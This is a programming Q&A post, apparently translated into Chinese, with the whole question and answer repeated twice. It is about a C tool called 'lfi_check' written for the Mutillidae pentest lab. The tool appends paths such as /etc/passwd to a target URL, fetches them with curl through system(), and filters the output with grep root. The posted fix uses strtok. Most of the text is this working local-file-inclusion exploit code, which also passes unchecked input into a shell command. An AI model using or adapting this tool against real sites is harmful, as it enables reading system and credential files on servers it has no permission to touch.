C编程元素数组到sprintf()
C Programming Element array into sprintf()
这是一个名为 "Mutillidae" 的渗透测试实验室环境。
此程序获取 argv[1] 并放入命令 "curl <[argv[1]>",
然后它从 lfi_test 文件中抓取一行并将其放入第二个
%s 在 sprintf() 中。该程序执行 %100,我只是遇到格式问题(| grep root)。相反,会显示整个源代码,包括整个 /etc/passwd 文件。
如果我取消注释第 20 行:
int passwd = "/etc/passwd";
并将第 27 行更改为
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
我能够得到我想要的格式化结果。
如果有人能帮助我,提前谢谢你。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
第 1 行无法正常工作的原因...
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
是由于文件中的行 (/etc/passwd\n) 被 1 和
它不允许将 char *root 变量实现为字符串格式。
函数 strtok() 使用定界符将行分成一系列标记。然后我能够在 sprintf().
之前将“/etc/passwd\n”解析为“/etc/passwd”
感谢 DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}
这是一个名为 "Mutillidae" 的渗透测试实验室环境。
此程序获取 argv[1] 并放入命令 "curl <[argv[1]>", 然后它从 lfi_test 文件中抓取一行并将其放入第二个 %s 在 sprintf() 中。该程序执行 %100,我只是遇到格式问题(| grep root)。相反,会显示整个源代码,包括整个 /etc/passwd 文件。
如果我取消注释第 20 行:
int passwd = "/etc/passwd";
并将第 27 行更改为
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
我能够得到我想要的格式化结果。 如果有人能帮助我,提前谢谢你。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
第 1 行无法正常工作的原因...
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
是由于文件中的行 (/etc/passwd\n) 被 1 和 它不允许将 char *root 变量实现为字符串格式。
函数 strtok() 使用定界符将行分成一系列标记。然后我能够在 sprintf().
之前将“/etc/passwd\n”解析为“/etc/passwd”感谢 DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}